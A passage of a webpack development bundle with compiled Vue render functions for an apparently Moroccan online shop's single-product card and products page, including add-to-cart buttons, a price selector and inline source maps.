\"relative md:px-4 -mt-6 md:-mt-16\" }, [\n _c(\"div\", { staticClass: \"md:hidden\" }, [\n _c(\n \"button\",\n {\n staticClass:\n \"w-full text-sm md:text-base block bg-primary-default py-2 px-2 text-white text-center md:rounded shadow-lg uppercase font-light mt-6 hover:bg-primary hover:text-white duration-300 ease-in-out\",\n attrs: { type: \"button\" },\n on: {\n click: function ($event) {\n return _vm.addToCart(_vm.product)\n },\n },\n },\n [_vm._v(\"\\n Add to cart\\n \")]\n ),\n ]),\n _vm._v(\" \"),\n _c(\n \"div\",\n { staticClass: \"bg-white p-2 md:p-6 lg:rounded-lg shadow-lg\" },\n [\n _c(\"h4\", { staticClass: \"md:text-xl uppercase leading-tight\" }, [\n _vm._v(\n \"\\n \" + _vm._s(_vm.product.name) + \"\\n \"\n ),\n ]),\n _vm._v(\" \"),\n _vm.product.description\n ? _c(\"div\", { staticClass: \"mt-1\" }, [\n _c(\"span\", { staticClass: \"text-sm text-gray-600\" }, [\n _vm._v(\n \"\\n \" +\n _vm._s(_vm.product.description) +\n \"\\n \"\n ),\n ]),\n ])\n : _vm._e(),\n _vm._v(\" \"),\n _c(\n \"div\",\n {\n staticClass: \"mt-4 flex flex-row justify-between items-center\",\n },\n [\n _vm.product.price == 0\n ? _c(\n \"div\",\n { staticClass: \"flex w-1/2 md:w-auto items-center\" },\n [\n _c(\"div\", { staticClass: \"relative\" }, [\n _c(\n \"select\",\n {\n directives: [\n {\n name: \"model\",\n rawName: \"v-model\",\n value: _vm.selectedProductPrice,\n expression: \"selectedProductPrice\",\n },\n ],\n staticClass:\n \"rounded border appearance-none border-gray-100 py-2 text-sm focus:outline-none pl-3 pr-3 md:pr-10 w-full md:w-auto\",\n on: {\n change: function ($event) {\n var $$selectedVal = Array.prototype.filter\n .call($event.target.options, function (o) {\n return o.selected\n })\n .map(function (o) {\n var val =\n \"_value\" in o ? o._value : o.value\n return val\n })\n _vm.selectedProductPrice = $event.target\n .multiple\n ? $$selectedVal\n : $$selectedVal[0]\n },\n },\n },\n _vm._l(_vm.product.prices, function (price, index) {\n return _c(\n \"option\",\n { key: index, domProps: { value: price } },\n [_vm._v(_vm._s(index))]\n )\n }),\n 0\n ),\n _vm._v(\" \"),\n _c(\n \"span\",\n {\n staticClass:\n \"absolute hidden md:flex right-0 top-0 h-full w-10 text-center text-gray-600 pointer-events-none items-center justify-center\",\n },\n [\n _c(\n \"svg\",\n {\n staticClass: \"w-4 h-4\",\n attrs: {\n fill: \"none\",\n stroke: \"currentColor\",\n \"stroke-linecap\": \"round\",\n \"stroke-linejoin\": \"round\",\n \"stroke-width\": \"2\",\n viewBox: \"0 0 24 24\",\n },\n },\n [_c(\"path\", { attrs: { d: \"M6 9l6 6 6-6\" } })]\n ),\n ]\n ),\n ]),\n ]\n )\n : _vm._e(),\n _vm._v(\" \"),\n _c(\n \"div\",\n {\n staticClass:\n \"text-primary-gray ml-2 md:ml-0 w-1/2 md:w-auto\",\n },\n [\n _vm.product.price != 0\n ? _c(\"span\", [_vm._v(_vm._s(_vm.product.price) + \" MAD\")])\n : _c(\"span\", [\n _vm._v(\n \"\\n \" +\n _vm._s(_vm.selectedProductPrice) +\n \" MAD\\n \"\n ),\n ]),\n ]\n ),\n ]\n ),\n _vm._v(\" \"),\n _c(\"div\", { staticClass: \"hidden md:block\" }, [\n _c(\n \"button\",\n {\n staticClass:\n \"w-full text-sm md:text-base block bg-primary-default py-2 px-2 text-white text-center md:rounded shadow-lg uppercase font-light mt-6 hover:bg-primary hover:text-white duration-300 ease-in-out\",\n attrs: { type: \"button\" },\n on: {\n click: function ($event) {\n return _vm.addToCart(\n _vm.product,\n _vm.selectedProductPrice || \"\"\n )\n },\n },\n },\n [_vm._v(\"\\n Add to cart\\n \")]\n ),\n ]),\n ]\n ),\n ]),\n ]\n )\n}\nvar staticRenderFns = []\nrender._withStripped = true\n\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiLi9ub2RlX21vZHVsZXMvdnVlLWxvYWRlci9saWIvbG9hZGVycy90ZW1wbGF0ZUxvYWRlci5qcz8/dnVlLWxvYWRlci1vcHRpb25zIS4vbm9kZV9tb2R1bGVzL3Z1ZS1sb2FkZXIvbGliL2luZGV4LmpzPz92dWUtbG9hZGVyLW9wdGlvbnMhLi9yZXNvdXJjZXMvanMvY29tcG9uZW50cy9Qcm9kdWN0cy9TaW5nbGVQcm9kdWN0LnZ1ZT92dWUmdHlwZT10ZW1wbGF0ZSZpZD02YWU0ZGZiMiYuanMiLCJtYXBwaW5ncyI6Ijs7Ozs7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSxLQUFLO0FBQ0w7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLFNBQVM7QUFDVCxPQUFPO0FBQ1A7QUFDQSxrQkFBa0IsaURBQWlEO0FBQ25FLG9CQUFvQiwwQkFBMEI7QUFDOUM7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLHVCQUF1QixnQkFBZ0I7QUFDdkM7QUFDQTtBQUNBO0FBQ0EsaUJBQWlCO0FBQ2pCLGVBQWU7QUFDZixhQUFhO0FBQ2I7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsWUFBWSw0REFBNEQ7QUFDeEU7QUFDQSx1QkFBdUIsbURBQW1EO0FBQzFFO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLDRCQUE0QixxQkFBcUI7QUFDakQsK0JBQStCLHNDQUFzQztBQUNyRTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLGVBQWU7QUFDZjtBQUNBO0FBQ0E7QUFDQTtBQUNBLHdCQUF3QixrREFBa0Q7QUFDMUU7QUFDQSxvQ0FBb0MseUJBQXlCO0FBQzdEO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLGlDQUFpQztBQUNqQztBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EscUNBQXFDO0FBQ3JDO0FBQ0E7QUFDQTtBQUNBO0FBQ0EscUNBQXFDO0FBQ3JDO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsaUNBQWlDO0FBQ2pDLCtCQUErQjtBQUMvQiw2QkFBNkI7QUFDN0I7QUFDQTtBQUNBO0FBQ0Esa0NBQWtDLHdCQUF3QixnQkFBZ0I7QUFDMUU7QUFDQTtBQUNBLDZCQUE2QjtBQUM3QjtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsNkJBQTZCO0FBQzdCO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLG1DQUFtQztBQUNuQyxpQ0FBaUM7QUFDakMsOENBQThDLFNBQVMscUJBQXFCO0FBQzVFO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsbUJBQW1CO0FBQ25CO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLHdCQUF3QixnQ0FBZ0M7QUFDeEQ7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBLDJCQUEyQixnQkFBZ0I7QUFDM0M7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EscUJBQXFCO0FBQ3JCLG1CQUFtQjtBQUNuQixpQkFBaUI7QUFDakI7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3Jlc291cmNlcy9qcy9jb21wb25lbnRzL1Byb2R1Y3RzL1NpbmdsZVByb2R1Y3QudnVlP2EwMTkiXSwic291cmNlc0NvbnRlbnQiOlsidmFyIHJlbmRlciA9IGZ1bmN0aW9uICgpIHtcbiAgdmFyIF92bSA9IHRoaXNcbiAgdmFyIF9oID0gX3ZtLiRjcmVhdGVFbGVtZW50XG4gIHZhciBfYyA9IF92bS5fc2VsZi5fYyB8fCBfaFxuICByZXR1cm4gX2MoXG4gICAgXCJkaXZcIixcbiAgICB7XG4gICAgICBzdGF0aWNDbGFzczpcbiAgICAgICAgXCJ0cmFuc2Zvcm0gZHVyYXRpb24tNTAwIGVhc2UtaW4tb3V0IHNjYWxlLTEwMCBob3ZlcjpzY2FsZS0xMDVcIixcbiAgICB9LFxuICAgIFtcbiAgICAgIF9jKFwiaW1nXCIsIHtcbiAgICAgICAgc3RhdGljQ2xhc3M6XG4gICAgICAgICAgXCJ3LWZ1bGwgaC0zMiBtZDpoLTY0IG9iamVjdC1jb3ZlciBvYmplY3QtY2VudGVyIG14LWF1dG8gbWQ6cm91bmRlZC1sZyBzaGFkb3ctbWRcIixcbiAgICAgICAgYXR0cnM6IHtcbiAgICAgICAgICBzcmM6IF92bS5wcm9kdWN0LmltYWdlLFxuICAgICAgICAgIGFsdDogX3ZtLnByb2R1Y3QubmFtZSxcbiAgICAgICAgICBsb2FkaW5nOiBcImxhenlcIixcbiAgICAgICAgfSxcbiAgICAgIH0pLFxuICAgICAgX3ZtLl92KFwiIFwiKSxcbiAgICAgIF9jKFwiZGl2XCIsIHsgc3RhdGljQ2xhc3M6IFwicmVsYXRpdmUgbWQ6cHgtNCAtbXQtNiBtZDotbXQtMTZcIiB9LCBbXG4gICAgICAgIF9jKFwiZGl2XCIsIHsgc3RhdGljQ2xhc3M6IFwibWQ6aGlkZGVuXCIgfSwgW1xuICAgICAgICAgIF9jKFxuICAgICAgICAgICAgXCJidXR0b25cIixcbiAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgc3RhdGljQ2xhc3M6XG4gICAgICAgICAgICAgICAgXCJ3LWZ1bGwgdGV4dC1zbSBtZDp0ZXh0LWJhc2UgYmxvY2sgYmctcHJpbWFyeS1kZWZhdWx0IHB5LTIgcHgtMiB0ZXh0LXdoaXRlIHRleHQtY2VudGVyIG1kOnJvdW5kZWQgc2hhZG93LWxnIHVwcGVyY2FzZSBmb250LWxpZ2h0IG10LTYgaG92ZXI6YmctcHJpbWFyeSBob3Zlcjp0ZXh0LXdoaXRlIGR1cmF0aW9uLTMwMCBlYXNlLWluLW91dFwiLFxuICAgICAgICAgICAgICBhdHRyczogeyB0eXBlOiBcImJ1dHRvblwiIH0sXG4gICAgICAgICAgICAgIG9uOiB7XG4gICAgICAgICAgICAgICAgY2xpY2s6IGZ1bmN0aW9uICgkZXZlbnQpIHtcbiAgICAgICAgICAgICAgICAgIHJldHVybiBfdm0uYWRkVG9DYXJ0KF92bS5wcm9kdWN0KVxuICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICB9LFxuICAgICAgICAgICAgW192bS5fdihcIlxcbiAgICAgICAgICAgICAgQWRkIHRvIGNhcnRcXG4gICAgICAgICAgXCIpXVxuICAgICAgICAgICksXG4gICAgICAgIF0pLFxuICAgICAgICBfdm0uX3YoXCIgXCIpLFxuICAgICAgICBfYyhcbiAgICAgICAgICBcImRpdlwiLFxuICAgICAgICAgIHsgc3RhdGljQ2xhc3M6IFwiYmctd2hpdGUgcC0yIG1kOnAtNiBsZzpyb3VuZGVkLWxnIHNoYWRvdy1sZ1wiIH0sXG4gICAgICAgICAgW1xuICAgICAgICAgICAgX2MoXCJoNFwiLCB7IHN0YXRpY0NsYXNzOiBcIm1kOnRleHQteGwgdXBwZXJjYXNlIGxlYWRpbmctdGlnaHRcIiB9LCBbXG4gICAgICAgICAgICAgIF92bS5fdihcbiAgICAgICAgICAgICAgICBcIlxcbiAgICAgICAgICAgICAgXCIgKyBfdm0uX3MoX3ZtLnByb2R1Y3QubmFtZSkgKyBcIlxcbiAgICAgICAgICBcIlxuICAgICAgICAgICAgICApLFxuICAgICAgICAgICAgXSksXG4gICAgICAgICAgICBfdm0uX3YoXCIgXCIpLFxuICAgICAgICAgICAgX3ZtLnByb2R1Y3QuZGVzY3JpcHRpb25cbiAgICAgICAgICAgICAgPyBfYyhcImRpdlwiLCB7IHN0YXRpY0NsYXNzOiBcIm10LTFcIiB9LCBbXG4gICAgICAgICAgICAgICAgICBfYyhcInNwYW5cIiwgeyBzdGF0aWNDbGFzczogXCJ0ZXh0LXNtIHRleHQtZ3JheS02MDBcIiB9LCBbXG4gICAgICAgICAgICAgICAgICAgIF92bS5fdihcbiAgICAgICAgICAgICAgICAgICAgICBcIlxcbiAgICAgICAgICAgICAgICBcIiArXG4gICAgICAgICAgICAgICAgICAgICAgICBfdm0uX3MoX3ZtLnByb2R1Y3QuZGVzY3JpcHRpb24pICtcbiAgICAgICAgICAgICAgICAgICAgICAgIFwiXFxuICAgICAgICAgICAgICBcIlxuICAgICAgICAgICAgICAgICAgICApLFxuICAgICAgICAgICAgICAgICAgXSksXG4gICAgICAgICAgICAgICAgXSlcbiAgICAgICAgICAgICAgOiBfdm0uX2UoKSxcbiAgICAgICAgICAgIF92bS5fdihcIiBcIiksXG4gICAgICAgICAgICBfYyhcbiAgICAgICAgICAgICAgXCJkaXZcIixcbiAgICAgICAgICAgICAge1xuICAgICAgICAgICAgICAgIHN0YXRpY0NsYXNzOiBcIm10LTQgZmxleCBmbGV4LXJvdyBqdXN0aWZ5LWJldHdlZW4gaXRlbXMtY2VudGVyXCIsXG4gICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgIFtcbiAgICAgICAgICAgICAgICBfdm0ucHJvZHVjdC5wcmljZSA9PSAwXG4gICAgICAgICAgICAgICAgICA/IF9jKFxuICAgICAgICAgICAgICAgICAgICAgIFwiZGl2XCIsXG4gICAgICAgICAgICAgICAgICAgICAgeyBzdGF0aWNDbGFzczogXCJmbGV4IHctMS8yIG1kOnctYXV0byBpdGVtcy1jZW50ZXJcIiB9LFxuICAgICAgICAgICAgICAgICAgICAgIFtcbiAgICAgICAgICAgICAgICAgICAgICAgIF9jKFwiZGl2XCIsIHsgc3RhdGljQ2xhc3M6IFwicmVsYXRpdmVcIiB9LCBbXG4gICAgICAgICAgICAgICAgICAgICAgICAgIF9jKFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2VsZWN0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGlyZWN0aXZlczogW1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbmFtZTogXCJtb2RlbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJhd05hbWU6IFwidi1tb2RlbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlOiBfdm0uc2VsZWN0ZWRQcm9kdWN0UHJpY2UsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhwcmVzc2lvbjogXCJzZWxlY3RlZFByb2R1Y3RQcmljZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0YXRpY0NsYXNzOlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInJvdW5kZWQgYm9yZGVyIGFwcGVhcmFuY2Utbm9uZSBib3JkZXItZ3JheS0xMDAgcHktMiB0ZXh0LXNtIGZvY3VzOm91dGxpbmUtbm9uZSBwbC0zIHByLTMgbWQ6cHItMTAgdy1mdWxsIG1kOnctYXV0b1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb246IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hhbmdlOiBmdW5jdGlvbiAoJGV2ZW50KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICQkc2VsZWN0ZWRWYWwgPSBBcnJheS5wcm90b3R5cGUuZmlsdGVyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuY2FsbCgkZXZlbnQudGFyZ2V0Lm9wdGlvbnMsIGZ1bmN0aW9uIChvKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBvLnNlbGVjdGVkXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLm1hcChmdW5jdGlvbiAobykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgdmFsID1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIl92YWx1ZVwiIGluIG8gPyBvLl92YWx1ZSA6IG8udmFsdWVcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHZhbFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSlcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfdm0uc2VsZWN0ZWRQcm9kdWN0UHJpY2UgPSAkZXZlbnQudGFyZ2V0XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubXVsdGlwbGVcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8gJCRzZWxlY3RlZFZhbFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgOiAkJHNlbGVjdGVkVmFsWzBdXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgX3ZtLl9sKF92bS5wcm9kdWN0LnByaWNlcywgZnVuY3Rpb24gKHByaWNlLCBpbmRleCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIF9jKFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm9wdGlvblwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7IGtleTogaW5kZXgsIGRvbVByb3BzOiB7IHZhbHVlOiBwcmljZSB9IH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtfdm0uX3YoX3ZtLl9zKGluZGV4KSldXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgMFxuICAgICAgICAgICAgICAgICAgICAgICAgICApLFxuICAgICAgICAgICAgICAgICAgICAgICAgICBfdm0uX3YoXCIgXCIpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICBfYyhcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNwYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGF0aWNDbGFzczpcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhYnNvbHV0ZSBoaWRkZW4gbWQ6ZmxleCByaWdodC0wIHRvcC0wIGgtZnVsbCB3LTEwIHRleHQtY2VudGVyIHRleHQtZ3JheS02MDAgcG9pbnRlci1ldmVudHMtbm9uZSBpdGVtcy1jZW50ZXIganVzdGlmeS1jZW50ZXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9jKFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RhdGljQ2xhc3M6IFwidy00IGgtNFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGF0dHJzOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxsOiBcIm5vbmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cm9rZTogXCJjdXJyZW50Q29sb3JcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3Ryb2tlLWxpbmVjYXBcIjogXCJyb3VuZFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzdHJva2UtbGluZWpvaW5cIjogXCJyb3VuZFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzdHJva2Utd2lkdGhcIjogXCIyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2aWV3Qm94OiBcIjAgMCAyNCAyNFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtfYyhcInBhdGhcIiwgeyBhdHRyczogeyBkOiBcIk02IDlsNiA2IDYtNlwiIH0gfSldXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICApLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIF1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgKSxcbiAgICAgICAgICAgICAgICAgICAgICAgIF0pLFxuICAgICAgICAgICAgICAgICAgICAgIF1cbiAgICAgICAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgICAgICAgOiBfdm0uX2UoKSxcbiAgICAgICAgICAgICAgICBfdm0uX3YoXCIgXCIpLFxuICAgICAgICAgICAgICAgIF9jKFxuICAgICAgICAgICAgICAgICAgXCJkaXZcIixcbiAgICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgc3RhdGljQ2xhc3M6XG4gICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0LXByaW1hcnktZ3JheSBtbC0yIG1kOm1sLTAgdy0xLzIgbWQ6dy1hdXRvXCIsXG4gICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgW1xuICAgICAgICAgICAgICAgICAgICBfdm0ucHJvZHVjdC5wcmljZSAhPSAwXG4gICAgICAgICAgICAgICAgICAgICAgPyBfYyhcInNwYW5cIiwgW192bS5fdihfdm0uX3MoX3ZtLnByb2R1Y3QucHJpY2UpICsgXCIgTUFEXCIpXSlcbiAgICAgICAgICAgICAgICAgICAgICA6IF9jKFwic3BhblwiLCBbXG4gICAgICAgICAgICAgICAgICAgICAgICAgIF92bS5fdihcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIlxcbiAgICAgICAgICAgICAgICAgICAgICBcIiArXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfdm0uX3MoX3ZtLnNlbGVjdGVkUHJvZHVjdFByaWNlKSArXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIiBNQURcXG4gICAgICAgICAgICAgICAgICBcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICApLFxuICAgICAgICAgICAgICAgICAgICAgICAgXSksXG4gICAgICAgICAgICAgICAgICBdXG4gICAgICAgICAgICAgICAgKSxcbiAgICAgICAgICAgICAgXVxuICAgICAgICAgICAgKSxcbiAgICAgICAgICAgIF92bS5fdihcIiBcIiksXG4gICAgICAgICAgICBfYyhcImRpdlwiLCB7IHN0YXRpY0NsYXNzOiBcImhpZGRlbiBtZDpibG9ja1wiIH0sIFtcbiAgICAgICAgICAgICAgX2MoXG4gICAgICAgICAgICAgICAgXCJidXR0b25cIixcbiAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICBzdGF0aWNDbGFzczpcbiAgICAgICAgICAgICAgICAgICAgXCJ3LWZ1bGwgdGV4dC1zbSBtZDp0ZXh0LWJhc2UgYmxvY2sgYmctcHJpbWFyeS1kZWZhdWx0IHB5LTIgcHgtMiB0ZXh0LXdoaXRlIHRleHQtY2VudGVyIG1kOnJvdW5kZWQgc2hhZG93LWxnIHVwcGVyY2FzZSBmb250LWxpZ2h0IG10LTYgaG92ZXI6YmctcHJpbWFyeSBob3Zlcjp0ZXh0LXdoaXRlIGR1cmF0aW9uLTMwMCBlYXNlLWluLW91dFwiLFxuICAgICAgICAgICAgICAgICAgYXR0cnM6IHsgdHlwZTogXCJidXR0b25cIiB9LFxuICAgICAgICAgICAgICAgICAgb246IHtcbiAgICAgICAgICAgICAgICAgICAgY2xpY2s6IGZ1bmN0aW9uICgkZXZlbnQpIHtcbiAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gX3ZtLmFkZFRvQ2FydChcbiAgICAgICAgICAgICAgICAgICAgICAgIF92bS5wcm9kdWN0LFxuICAgICAgICAgICAgICAgICAgICAgICAgX3ZtLnNlbGVjdGVkUHJvZHVjdFByaWNlIHx8IFwiXCJcbiAgICAgICAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgW192bS5fdihcIlxcbiAgICAgICAgICAgICAgICBBZGQgdG8gY2FydFxcbiAgICAgICAgICAgIFwiKV1cbiAgICAgICAgICAgICAgKSxcbiAgICAgICAgICAgIF0pLFxuICAgICAgICAgIF1cbiAgICAgICAgKSxcbiAgICAgIF0pLFxuICAgIF1cbiAgKVxufVxudmFyIHN0YXRpY1JlbmRlckZucyA9IFtdXG5yZW5kZXIuX3dpdGhTdHJpcHBlZCA9IHRydWVcblxuZXhwb3J0IHsgcmVuZGVyLCBzdGF0aWNSZW5kZXJGbnMgfSJdLCJuYW1lcyI6W10sInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///./node_modules/vue-loader/lib/loaders/templateLoader.js??vue-loader-options!./node_modules/vue-loader/lib/index.js??vue-loader-options!./resources/js/components/Products/SingleProduct.vue?vue&type=template&id=6ae4dfb2&\n");
/***/ }),
/***/ "./node_modules/vue-loader/lib/loaders/templateLoader.js??vue-loader-options!./node_modules/vue-loader/lib/index.js??vue-loader-options!./resources/js/pages/products.vue?vue&type=template&id=60659466&":
/*!***************************************************************************************************************************************************************************************************************!*\
!*** ./node_modules/vue-loader/lib/loaders/templateLoader.js??vue-loader-options!./node_modules/vue-loader/lib/index.js??vue-loader-options!./resources/js/pages/products.vue?vue&type=template&id=60659466& ***!
\***************************************************************************************************************************************************************************************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"render\": () => (/* binding */ render),\n/* harmony export */ \"staticRenderFns\": () => (/* binding */ staticRenderFns)\n/* harmony export */ });\nvar render = function () {\n var _vm = this\n var _h = _vm.$createElement\n var _c = _vm._self._c || _h\n return _c(\"div\", [\n _c(\n \"section\",\n { staticClass: \"flex flex-col justify-center p-2 md:p-8 mb-10 bg-white\" },\n [\n _vm._m(0),\n _vm._v(\" \"),\n _c(\n \"div\",\n {\n staticClass:\n \"grid grid-cols-2 md:grid-cols-4 gap-2 md:gap-8 pt-8 max-w-7xl mx-auto\",\n },\n _vm._l(_vm.gammes, function (gamme) {\n return _c(\n \"div\",\n { key: gamme.id },\n [_c(\"gamme-product\", { attrs: { gamme: gamme } })],\n 1\n )\n }),\n 0\n ),\n _vm._v(\" \"),\n _vm._m(1),\n _vm._v(\" \"),\n _c(\n \"div\",\n {\n staticClass:\n \"grid grid-cols-2 md:grid-cols-4 gap-2 md:gap-8 pt-8 max-w-7xl mx-auto\",\n },\n _vm._l(_vm.products, function (product) {\n return _c(\n \"div\",\n { key: product.id },\n [_c(\"single-product\", { attrs: { product: product } })],\n 1\n )\n }),\n 0\n ),\n ]\n ),\n ])\n}\nvar staticRenderFns = [\n function () {\n var _vm = this\n var _h = _vm.$createElement\n var _c = _vm._self._c || _h\n return _c(\"nav\", { staticClass: \"w-full py-4\" }, [\n _c(\n \"div\",\n {\n staticClass:\n \"w-full container mx-auto flex flex-wrap items-center justify-between mt-0 py-3\",\n },\n [\n _c(\n \"h3\",\n {\n staticClass:\n \"uppercase tracking-wide no-underline hover:no-underline font-bold text-gray-700 text-xl \",\n attrs: { href: \"#\" },\n },\n [_vm._v(\"\\n Nos gammmes\\n \")]\n ),\n ]\n ),\n ])\n },\n function () {\n var _vm = this\n var _h = _vm.$createElement\n var _c = _vm._self._c || _h\n return _c(\"nav\", { staticClass: \"w-full py-4 mt-8\" }, [\n _c(\n \"div\",\n {\n staticClass:\n \"w-full container mx-auto flex flex-wrap items-center justify-between mt-0 py-3\",\n },\n [\n _c(\n \"h3\",\n {\n staticClass:\n \"uppercase tracking-wide no-underline hover:no-underline font-bold text-gray-700 text-xl \",\n attrs: { href: \"#\" },\n },\n [_vm._v(\"\\n Nos produits\\n \")]\n ),\n ]\n ),\n ])\n },\n]\nrender._withStripped = true\n\n//# sourceURL=[module]\n//# 